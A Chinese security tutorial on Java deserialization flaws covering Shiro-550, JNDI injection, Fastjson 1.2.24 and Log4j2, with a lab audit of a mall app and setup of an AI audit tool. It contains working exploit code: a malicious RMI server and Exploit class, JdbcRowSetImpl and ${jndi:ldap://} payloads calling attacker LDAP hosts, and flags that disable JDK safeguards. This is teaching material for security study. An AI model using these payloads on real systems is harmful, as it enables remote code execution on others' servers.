Java反序列化漏洞

26 阅读21分钟

[TOC]

Java反序列化漏洞

序列化和反序列化

序列化

  1. 拆分对象:你把Java对象(比如一个文物古宅的描述)分解成一种可以存储和传输的格式。这叫做序列化。序列化会把对象转换成一连串的字节。

  2. 打包对象:**把这些字节打包成文件,或者通过网络传输。**这就像把拆解下来的古宅部分打包成箱子。

反序列化

  1. 接收字节流:从文件中读取或从网络接收这些字节流。

  2. 打开字节流:把这些字节流重新解码,就像打开箱子一样。

  3. 重建对象:把这些字节流重新组装成原来的Java对象。这叫做反序列化。

漏洞分析

基本使用

在Java中,序列化/反序列化操作主要由 java.io.ObjectOutputStream.writeObject(Object) 方法和java.io.ObjectInputStream.readObject() 方法实现;

在用户代码中,可以通过重写上述方法实现自定义操作。在实际开发中,更多是通过实现Serializable接口并重写readObject()方法对自定义类对象进行反序列化,以完成更多操作

代码示例:

这段代码的核心是实现 Java 对象的序列化反序列化

package com.example.helloworld;

import java.io.*;

public class HelloWorld {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 创建Test对象,传入参数"calc.exe"
        Test test = new Test("calc.exe");
        
        // 将序列化内容写入文件
        FileOutputStream fos = new FileOutputStream("data.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(test); //序列化
        oos.close();
        fos.close();
        
        // 从文件中读取并反序列化
        FileInputStream fio = new FileInputStream("data.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Test bbbb = (Test) ois.readObject(); //反序列化为Test类
        ois.close();
        fio.close();
        
        System.out.println(bbbb);
    }
}

Test类:

package com.example.helloworld;
import java.io.Serializable;

public class Test implements Serializable {
	private String cmd;
	public Test(String cmd) {
		this.cmd = cmd;
	} 
	public String getCmd() {
		return cmd;
	} 
	public void setCmd(String cmd) {
		this.cmd = cmd;
	} //重写readObject()方法
	private void readObject(java.io.ObjectInputStream in) throws Exception {
		in.defaultReadObject();
		System.out.println("当前命令是: "+cmd);
		java.lang.Runtime.getRuntime().exec(cmd);//触发代码执行, 模拟调用链
	}
}

通过自定义Test类,实现了Serializable接口,并重写readObject()方法,在readObject()方法中,我们自定义输出字符串“Oops...”和弹出计算器操作。

之所以能执行命令,是因为我们在Test类的readObject方法中,写入了执行命令的代码,这个类必须存在并且反序列化的内容必须能被控制才可以利用。

序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被黑客控制,那么黑客即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

ysoserial

在说反序列化漏洞利⽤链前,我们跳不过⼀个⾥程碑式的⼯具, ysoserial。

github.com/frohoff/yso…

它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束

image-20260122143743617.png

URLDNS链分析

URLDNS 链是 Java 反序列化漏洞中最经典、最基础的利用链之一,它的核心特点是无需依赖第三方库、仅使用 JDK 自带类即可触发,并且可以通过 DNS 请求来验证反序列化是否成功,因此常被用作反序列化漏洞的探测手段。

先使用dnslog生成一个域名,然后使用ysoserial生成URLDNS链:

image-20260122154537819.png

java -jar ysoserial.jar URLDNS http://nvru24.dnslog.cn > data.ser
注意:记住加 http://

image-20260122160010827.png

用vscode打开,切换成16进制。AC ED 00 是这种文件的固定开头。

image-20260122155359719.png

将 data.ser文件放到 java 根目录下,运行默认反序列化文件就会收到dns请求记录。

package com.example.helloworld;

import java.io.*;

public class HelloWorld {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 创建Test对象,传入参数"calc.exe"
        Test test = new Test("calc.exe");

        // 从文件中读取并反序列化
        FileInputStream fio = new FileInputStream("data.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Object bbbb = ois.readObject(); //
        ois.close();
        fio.close();

        System.out.println(bbbb);
    }
}

image-20260122160510173.png

目标系统执行反序列化 :

  1. 目标系统调用 ObjectInputStream.readObject() 读取恶意 payload.ser。
  2. 反序列化 HashMap(内含恶意dnslog) 时,会遍历其键值对,并对每个 key 调用 hash(key) 计算哈希值。
  3. 当 key 是 URL 对象时,hash() 方法会调用 URL.hashCode()。
  4. URL.hashCode() 会调用 URLStreamHandler.hashCode(),该方法会尝试解析 URL 域名,从而向你的 DNS 服务器发起请求。

所以 URLDNS链 只能触发 dns 请求,但是他验证了反序列化漏洞的危害。

代码审计

反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:

函数 / 方法核心作用
readObject()读取并反序列化对象
readUnshared()读取并反序列化对象
readExternal()实现Externalizable接口的类的反序列化入口
ObjectInputStream.readObjectOverride()自定义反序列化的覆盖方法
XMLDecoder.readObject()解析 XML 数据并实例化对象
Yaml.load()解析 YAML 数据转为 Java 对象
XStream.fromXML()解析 XML 数据转为 Java 对象
ObjectMapper.readValue()解析 JSON 数据转为 Java 对象
JSON.parseObject()解析 JSON 数据转为 Java 对象

同时也要关注第三jar包是否提供了一些公共的反序列化操作接口,如果没有相应的安全校验如白名单校验方案,且输入可控的话就也可能存在安全问题。

漏洞案例

github.com/vulhub/vulh…

github.com/vulhub/vulh…

Shiro-550 反序列化漏洞

Apache Shiro是一款广泛使用的开源安全框架,提供身份验证、授权、密码学和会话管理等功能。由于其简单强大、扩展性好等优点, Shiro在许多企业级应用中被广泛使用。然而,随着使用范围的扩大,Shiro框架中的安全漏洞也逐渐暴露出来。其中, Shiro-550(CVE-2016-4437)是一个反序列化漏洞,可能导致攻击者执行恶意命令,对企业应用的安全性构成严重威胁。

项目地址

github.com/apache/shir…

漏洞概述

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值

  2. Base64解码

  3. 使用AES解密

  4. 反序列化

漏洞原因在于第三步, AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

影响版本

Shiro <= 1.2.4

环境搭建

云盘中有 javaadvance.zip,解压后shiro目录有代码

也可以用公用靶场:vulfocus.cn/#

image-20260127221839451.png

漏洞复现

  1. 访问靶场:

image-20260127222908795.png

  1. 用黑客机上的软件:

image-20260127223006558.png

  1. 输入url,点击爆破密钥

image-20260127223133004.png

  1. 爆破利用链

image-20260127223345277.png

  1. 命令执行

image-20260127223430294.png

也可以直接使用shiro反序列利用工具复现

工具地址:

github.com/wyzxxz/shir…

java -jar shiro_tool.jar http://localhost:8080/shiro/login.jsp

漏洞分析

Shiro-550 是 Apache Shiro 框架的反序列化漏洞:

  1. Shiro 会将用户的登录凭证(如 rememberMe 令牌)加密后存储在 Cookie 中,默认使用 AES-128-CBC 加密,且内置了一个硬编码的密钥(kPH+bIxk5D2deZiIxcaaaA==);
  2. 攻击者可通过这个硬编码密钥解密 Cookie,再构造恶意的反序列化 payload 加密后写入 Cookie;
  3. 服务端接收到恶意 Cookie 后,会解密并反序列化其中的内容,从而执行任意代码(如命令执行、获取服务器权限)。

修复方式

升级shrio到最新版或者修改默认AES密钥

JNDI注入漏洞

JNDI介绍

JNDI 是Java Naming and Directory Interface(Java 命名和目录接口)的缩写,是 Java 平台的标准服务接口,核心作用是为 Java 程序提供命名服务目录服务的统一访问方式。

简单说,就是让 Java 程序能通过一个 “名字”,快速找到对应的资源(如数据库连接、远程对象、服务实例等),无需硬编码资源的具体地址 / 配置,实现资源与程序的解耦。

image-20260127230619012.png

SPI 全称为 Service Provider Interface ,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

LDAP、 DNS、 NIS、 NDS、 RMI、 CORBA

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;

  • lookup:通过名字检索执行的对象;

下面从两种服务(RMI、 LDAP)来理解jndi注入。

RMI介绍

RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。

image-20260127231343518.png

其中 Server 和 Registry 可以放在同一个服务器上,也可以布置在不同的服务器上。

RMI 流程:

  • Registry 首先启动,并监听一个端口,一般是1099

  • Server 向 Registry 注册远程对象

  • Client 从 Registry 获取远程对象的代理

  • Client 通过这个代理调用远程对象的方法

  • Server 端的代理接收到 Client 端调用的方法,参数, Server 端执行相对应的方法

  • Server 端的代理将执行结果返回给 Client 端代理

JNDI注入漏洞(RMI)

假设 client 端地址为10.0.0.1,先来看下面一段JNDI的 client 端的代码

Context context = new InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了,此时即使执行了 evil 所绑定的类,依然是在10.0.0.2上执行,无法影响到10.0.0.1,因此要引入一个新的概念。

JNDI References

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码,可以得知,其主要记录了如下信息

protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

漏洞复现

Client.java

import javax.naming.InitialContext;
import javax.naming.NamingException;

/**
* @Author 0x153
* @Date 2021/7/31 17:50
*/
public class Client {
	public static void main(String[] args) throws NamingException {
		//解除高版本jdk安全限制
		System.setProperty("java.rmi.server.useCodebaseOnly", "false");
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
		
		String uri = "rmi://127.0.0.1:1099/EvalObj";
		InitialContext ctx = new InitialContext();
		
        //当uri可控, 就会造成jndi注入漏洞
		ctx.lookup(uri);
	}
}

Server.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @Author 0x153
* @Date 2021/7/30 15:55
*/
public class Server {
	public static void main(String args[]) throws Exception {
		Registry registry = LocateRegistry.createRegistry(1099);
        //构建恶意Reference对象,指定远程待加载的恶意类信息
		Reference refObj = new Reference("Exploit", "Exploit","http://127.0.0.1:1002/");
        
		ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
		System.out.println("Binding 'refObjWrapper' to'rmi://0.0.0.0:1099/EvalObj'");
		registry.bind("EvalObj", refObjWrapper);
	}
}

主要是将/EvalObj这个路径绑定到一个Reference上,其中Reference的构造函数第一个参数是className,第二个参数是classFactory,第三个参数是classFactoryLocation ,当目标不存className类时,会根据classFactory加载,即访问http://127.0.0.1:1002/Exploit.class。

Exploit.java

public class Exploit {
	public Exploit() {
		try{
			// 要执行的命令
			String commands = "calc.exe";
			Process pc = Runtime.getRuntime().exec(commands);
			pc.waitFor();
		} catch(Exception e){
			e.printStackTrace();
		}
	}
}

将Exploit.java编译:

javac Exploit.java

进入Exploit.class所在的目录,并使用python 搭建http服务并监听1002:

python -m http.server --bind 0.0.0.0 1002

image-20260129203627051.png

启动server服务后,运行client,即可触发漏洞。

image-20260129203610354.png

坑点:

  1. 由于JAVA版本向下兼容,因此实际利用过程中,建议使用1.6编译Exploit.class,否则可能会存在兼容问题。

  2. Exploit的声明最好不要带package,否则需要根据package修改reference对象,例如改成packagetest:

    Reference refObj = new Reference("Exploit", "test.Exploit","http://127.0.0.1:1002/");
    

    对应的class也要放在test目录下。

JdbcRowSetImpl利用链

在实战过程中, context.lookup直接被外部调用的情况比较少,但是我们可以通过间接调用context.lookup实现JNDI的注入, JdbcRowSetImpl就是这样一条利用链,先来看一下最终的POC

//解除高版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("rmi://127.0.0.1:1099/EvalObj");
j.setAutoCommit(true);

其他调用链

Spring框架的spring-tx.jar中的JtaTransactionManager.readObject()中就存在这个问题,当进行对象反序列化的时候,会执行lookup()操作,可以进行JNDI注入。

JNDI注入漏洞(LDAP)

因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,因此攻击者可以控制LDAP服务端返回一个恶意的JNDI Reference对象从而完成攻击。

漏洞代码示例:

package jndi;
import javax.naming.InitialContext;
public class Client {
	public static void main(String[] args) throws Exception{
		new InitialContext().lookup("ldap://localhost:1389/Calc");
	}
}

启动JNDI-Injection-Exploit

www.ddosi.org/jndi-inject…

image-20260129210922290.png

用 java8 运行下面命令:

java -jar JNDI-Injection-Exploit-Plus.jar -A 127.0.0.1 -C calc

image-20260130150021486.png

运行客户端:

image-20260130150138838.png

JDK安全机制

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

在RMI服务中引用远程对象将受jre限制,即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

高版本JDK在RMI和LDAP的 trustURLCodebase 都做了限制,从默认允许远程加载ObjectFactory变成了不允许。 RMI是在6u132, 7u122, 8u113版本开始做了限制, LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

Fastjson反序列化

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏洞到至今,有着多次的安全补丁更新和绕过。

用法举例

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是 toJSONString( )parse( )parseObject( )

测试代码

直接使用Maven导入依赖

<dependencies>
	<dependency>
		<groupId>com.alibaba</groupId>
		<artifactId>fastjson</artifactId>
		<version>1.2.24</version>
	</dependency>
</dependencies>

创建一个Student类用来测试

public class Student {
    private int age;
    private String name;

    public Student() {
    };

    public Student(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge");
        this.age = age;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    @Override
    public String toString() {
        return "{\"name\":\"" + name + '\"' + ",\"age\":" + age + '}';
    }
}

序列化

主要的 API 是 JSON.toJSONString,此方法有多种重载方法,可指定多个参数,常见参数如下:

  • Object :即将要序列化的对象

  • SerializerFeature:序列化属性

  • SerializeFilter:序列化过滤器

  • SerializeConfig:序列化时的配置

简单测试:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
	public static void main(String[] args) {
		Student student = new Student("Christ1na",20);
		String s1 = JSON.toJSONString(student);
		System.out.println("----------");
		String s2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);//核心函数
		System.out.println("s1:"+s1);
		System.out.println("s2:"+s2);
	}
}

image-20260129224630383.png

可以发现 JSON.toJSONString() 成功将类转换为json字符串,并且在转换的同时调用了getter方法 ,而指SerializerFeature.WriteClassName参数后,其会将对象类型一起序列化并且会写入到 @type 字段中。

反序列化

主要的 API 是JSON.parseObject()和=JSON.parse()

尝试将json反序列化为类

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {
        String s = "{\"@type\":\"Student\",\"age\":20,\"name\":\"Christina\"}";

        Object parse = JSON.parse(s);
        System.out.println(parse);
        System.out.println(parse.getClass().getName()); 

        Student student = JSON.parseObject(s, Student.class);
        System.out.println(student);
        System.out.println(student.getClass().getName()); // 输出"Student"
    }
}

image-20260129235016605.png

可以发现, 当parse进行反序列化时,如果json字符串中有 @type ,会自动执行指定类中相对应属性的setter方法,并且会转换为 @type 指定类的类型

而parseObject进行反序列化时如果json字符串中有 @type ,会自动执行指定类的setter和getter方法,并且转换为 JSONObject 类。

fastjson在解析json对象时,会默认使用 <font style="color:rgb(51, 51, 51);backgroundcolor:rgb(243, 244, 244);">@type</font> 实例化某一个具体的类,并调用set/get方法访问属性。

漏洞分析

经过安全研究人员分析,目前主要存在三种利用方式: JNDI注入、 TemplatesImpl 加载字节码、 BCEL加载字节码。 fastjson反序列化漏洞前后经过官方修复,又不断的被研究人员绕过,导致多个版本存在漏洞,但是最初版本1.2.24最为经典,这里以JNDI注入为例深入分析利用过程。

JNDI注入

这种利用方式需要连接远程恶意服务器,在目标没外网的情况下无法直接利用,**需要注意的是高版本JDK在RMI和LDAP的 trustURLCodebase 都做了限制,从默认允许远程加载ObjectFactory变成了不允许。**RMI是在6u132, 7u122, 8u113版本开始做了限制, LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

image-20260130113621862.png

在层层跟进后,发现最终使用了**javax.naming.InitialContext#lookup()**函数,很明显的JNDI注入,而name

参数则是由从成员变量 dataSource 中获取。

利用姿势

  1. 启动恶意的服务

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc

  2. 发送如下payload

    {
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://192.168.153.151:1389/bbugvs",
    "autoCommit":true
    }
    

TemplatesImpl

加载字节码,需要开启 Feature.SupportNonPublicField ,比较鸡肋

漏洞点在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(),这个利用点跟CC3的一样,最终调用**defineClass()**加载恶意字节码,从而执行任意代码

完整的流程为:

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

BCEL加载字节码

可直接在目标本地利用,无额外条件

需要dbcp2包,而tomcat中自带此包,这里是直接使用maven导入的org.apache.commons.dbcp2

但是在Java 8u251以后, BCEL ClassLoader就用不了了。

详情可看p牛的BCEL ClassLoader去哪了 | 离别歌

log4j2 jndi注入漏洞

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

项目地址:logging.apache.org/log4j/2.x/

漏洞概述

此次Apache Log4j2 漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。恶意攻击者可以利用该漏洞注入恶意class文件从而执行任意命令。

影响版本

Log4j2 版本: 2.x<=2.14.1

可能的受影响应用包括但不限于如下:

Spring-Boot-starter-log4j2

Apache Struts2

Apache Solr

Apache Flink

Apache Druid

ElasticSearch

flume

dubbo

Redis

logstash

kafka

漏洞复现

新建项目,导入依赖

<dependencies>
	<dependency>
		<groupId>org.apache.logging.log4j</groupId>
		<artifactId>log4j-core</artifactId>
		<version>2.14.1</version>
	</dependency>
</dependencies>

编写代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2 {
	private static final Logger LOGGER = LogManager.getLogger();
	public static void main(String[] args) {
		LOGGER.error("${jndi:ldap://127.0.0.1:1389/zeglay}");
	}
}

打开 JNDI-Injection-Exploit-Plus.jar 工具,运行下面命令:

java -jar JNDI-Injection-Exploit-Plus.jar -A 127.0.0.1 -C calc

image-20260130150021486.png

运行客户端文件:

image-20260130145824982.png

注意:如果复现失败,需要右键该 java 文件,点击编辑运行配置,添加VM选项:

-Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.ldap.object.trustURLCodebase=true

image-20260130145716689.png

image-20260130145740081.png

  1. -Dcom.sun.jndi.rmi.object.trustURLCodebase=true:针对RMI 协议的信任开关,允许 JVM 通过 RMI 服务返回的远程地址加载类文件;

  2. -Dcom.sun.jndi.ldap.object.trustURLCodebase=true:针对LDAP 协议的信任开关,允许 JVM 通过 LDAP 服务返回的远程地址加载类文件。

漏洞分析

略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,当日志信息中出现 "${"关键字 则通过StrSubstitutor.java的replace方法对其进行替换和解析。

image-20260130150538729.png

最终通过StrSubstitutor.java文件中的substitute方法对传入的日志信息进行替换。这个函数主要作用就是提取出日志信息中的${}信息,并根据内容调用。 varName就是提取出来的关键信息,最关键的位置如下:

image-20260130150616733.png

在lookup中, prefix是对应配置类, name是其参数并通过调用对应方法进行解析。

image-20260130150802471.png

image-20260130150820325.png

lookup保存有如下解析类:

image-20260130150843846.png

最终在JndiLookup.java中触发漏洞

image-20260130150929717.png

修复方式

官方修复链接如下:

github.com/apache/logg…

临时解决方案(三选一):

  1. 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

  2. 修改配置log4j2.formatMsgNoLookups=True

  3. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

迷你天猫商城审计实战

迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

gitee.com/project_tea…

环境搭建

导入数据库:

image-20260130153345226.png

修改application.properties中的数据库账号密码:

image-20260130153838450.png

尝试登录后台,账号密码为 admin 123456

http://localhost:8080/tmall/admin

如果无法登录后台,可以在配置文件D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini的mysqld下,新增一项配置并重启mysql:

sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

image-20260130154501716.png

第三方组件漏洞

本项目是基于Maven构建的。对于Maven项目,我们首先从 pom.xml 文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。由于本项目已经更新,依赖的第三方组件没有漏洞,为了模拟漏洞环境,可以手动修改依赖的第三方组件版本。

Fastjson反序列化漏洞

  • 修改本项目引入的Fastjson版本为1.2.24,该版本存在反序列化漏洞。

image-20260130155240978.png

  • 用dependency-check工具扫一扫可以扫出来:

image-20260130155939893.png

漏洞复现

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。反序列化过程中会使用这两个函数 JSON.parse()JSON.parseObject() (parseObject() 相比parse()多执行了JSON.toJSON(obj),在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。)全局搜索两个关键字,发现本项目存在 JSON.parseObject() ,如下图所示:

image-20260131132632529.png

其他几个都会被过滤器过滤,只有第一个可以被利用。

image-20260131132729225.png

看到注释,我们可以在前端尝试找到接口,不过要先注册一个账号。

最终在前端提交购物车订单时找到该参数接口:

image-20260131132921066.png

找一个DNSlog来验证,构造漏洞验证POC: {"@type":"java.net.Inet4Address","val":" dnslog.cn"},将其粘贴到 orderItemMap 字段中。击发送数据包后,访问NDSLog地址,点击 Refresh Record ,也可以看到获取到回显信息。

image-20260131134223140.png

也可以使用JNDI-Injection-Exploit-Plus.jar工具执行任意命令

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/remoteExploit8","autoCommit":true}

image-20260131135929745.png 本次复现的核心触发类com.sun.rowset.JdbcRowSetImpl,是 Fastjson 1.2.24 版本最经典、最稳定的 JNDI 利用入口

Log4j2远程代码执行漏洞

该漏洞的本质是Log4j2 支持解析${}形式的 Lookup 表达式,当表达式为${jndi:rmi/ldap://恶意地址}时,会调用org.apache.logging.log4j.core.lookup.JndiLookup类发起 JNDI 请求,加载远程恶意类执行代码。

常见的触发场景是 “用户输入被 Log4j2 记录到日志中”,只要代码中用 Log4j2 的logger.info/debug/error等方法记录了用户可控的内容(如请求参数、Header、JSON 字段等),就可能触发漏洞。

漏洞复现

全局搜索项目中的logger.(如logger.info/logger.error),检查每个日志语句的参数是否包含用户可控的变量,重点看Controller 层接收的请求参数是否被日志记录

image-20260131145352695.png

重点找.fore的,因为这是普通用户模块。

下面是我遇到的坑点:我询问AI后,AI分析失误,下面代码中,product_id虽然属于用户可控参数,但是该参数是Integer 类型,只能填 int 类型的参数进去。所以无法利用。

image-20260131145534101.png

再往下找会找到前端高级搜索的模块:

image-20260131145838643.png

里面的 orderBy 参数属于用户可控,而且是 string 类型,直接开干。

在前端找到该接口:

image-20260131150034942.png

抓包分析,将 orderBy 参数改成我们的 测试dnslog playload,重放一边。(需要进行百分号url编码,不然会报400错误)

image-20260131150253066.png

复现成功:

image-20260131150313492.png

也可以使用JNDI-Injection-Exploit-Plus.jar工具执行任意命令:

image-20260131151133418.png

单点漏洞审计

DeepAudit 代码审计系统

DeepAudit 是国内首个开源的代码漏洞挖掘多智能体系统,它基于 Multi-Agent 协作架构,通过四个智能体的自主协作,实现对代码的深度理解、漏洞挖掘和自动化沙箱 PoC 验证。用户只需导入项目,DeepAudit 便全自动开始工作:识别技术栈 → 分析潜在风险 → 生成脚本 → 沙箱验证 → 生成报告,最终输出一份专业审计报告。

  • Orchestrator(总指挥) :接收审计任务,分析项目类型,制定审计计划,协调其他 Agent 工作
  • Recon Agent(侦察兵) :扫描项目结构,识别框架、库和 API,提取攻击面
  • Analysis Agent(分析师) :结合 RAG 知识库与 AST 分析,深度审查代码,发现潜在漏洞
  • Verification Agent(验证者) :编写 PoC 脚本,在 Docker 沙箱中执行,验证漏洞是否真实可利用

kali上的docker安装DeepAudit

  1. 在官网下载资源包

    Release Release v3.0.4 · lintsinghua/DeepAudit

image-20260131171350944.png

  1. 在kali上创建一个 /opt/deepaudit 文件夹,将下载下来的资源包放进去,解压

    # 1. 创建工作目录
    mkdir -p /opt/deepaudit
    cd /opt/deepaudit
    
    # 2. 上传 deepaudit-source-v3.0.4.tar.gz 到当前目录后,执行解压
    tar -zxvf deepaudit-source-v3.0.4.tar.gz
    
  2. 配置环境变量

    # 1. 进入源码目录
    cd deepaudit-source-v3.0.4
    
    # 2. 复制后端环境配置模板并修改
    cp backend/env.example backend/.env
    
    # 3. 编辑 .env 文件,适配 Docker 部署(可直接用默认配置)
    nano backend/.env
    
  3. 一键构建并启动

    # 进入 Docker 部署目录
    cd docker
    
    # 构建镜像并启动所有服务(后台运行)
    docker-compose up -d --build
    
  4. 查看容器状态,验证部署成功

    docker-compose ps
    在浏览器输入:http://<你的Kali IP>:3000
    8081端口是管理数据库的
    

image-20260131171719728.png

如果看到类似上面的输出,说明 DeepAudit 已经成功启动了!这里包含了 4 个容器:

*   admin-frontend-1:前端服务,运行在 3000 端口

*   admin-backend-1:后端 API 服务,运行在 8000 端口

*   admin-redis-1: Redis 数据库,用于缓存和队列

*   admin-db-1: PostgreSQL 数据库,用于存储审计数据

注册后登录,即可进入审计界面。

image-20260131172148437.png

API配置

  1. 点进左侧系统管理,配置模型和API秘钥:

image-20260131212347018.png

注意:硅基流动的模型只有无Pro标识的才能用代金券抵消:

image-20260131211422806.png

硅基流动的API请求地址是:api.siliconflow.cn/v1s

使用说明

配置好模型后,我们就可以开始使用 DeepAudit 进行代码审查了。 DeepAudit 提供了两种主要的

使用方式: 项目管理和即时分析。

创建项目

首先,在左侧导航栏点击"项目管理",进入项目列表页面。如果是第一次使用,页面会提示"未初始化项目",点击"新建项目"按钮。

image-20260131212641388.png

在弹出的对话框中,你可以选择两种导入方式:

方式一: Git 仓库导入

  • 仓库类型:支持 GitHub、 GitLab、等
  • 仓库地址:填写你的
  • Git 仓库 URL
  • 默认分支:通常为 main 或 master
  • 技术栈:选择项目使用的编程语言(JavaScript、 TypeScript、 Python、 Java、 Go 等)

方式二:上传源码

  • 直接上传 ZIP 压缩包
  • 适合本地项目或私有仓库
  • 填写完项目信息后,点击
  • "执行创建", DeepAudit 会自动拉取代码并初始化项目

image-20260131213011136.png

image-20260131213042463.png

Agent 智能审计

项目创建完成后,点击项目下方的"审计"

按钮,进入审计任务页面。这里有两种审计模式:

Agent 智能审计

  • LLM 驱动的多 Agent

  • 协同深度审计

  • 支持智能漏洞挖掘与验证

  • 适合需要深度分析的场景

快速扫描

  • 传统规则引擎驱动的快速代码扫描

  • 适合大规模批量检测

  • 速度更快,但深度略浅

这里以Agent 审计 模式举例,选中要审计的项目,然后选择审计模式,点击下方的启动Agent 审计按钮

启动后,即可看到项目正在进行索引和嵌入,然后进行编排审计流程:

image-20260131211422806.png

在侧面的AGENT TREE中可以看到 Multi-Agent 协作流程:

  1. Orchestrator 分析项目,制定审计策略

  2. Recon Agent 扫描项目结构,识别技术栈和攻击面

  3. Analysis Agent 深度分析代码,发现潜在漏洞

  4. Verification Agent 在沙箱中验证漏洞真实性

在审计过程中,你可以实时查看审计进度、已分析的文件数、发现的问题数量等信息。

查看审计报告

审计完成后,底部会有输出成功的日志提示,也可以点击右上角 EXPORT 按钮进行导出报告。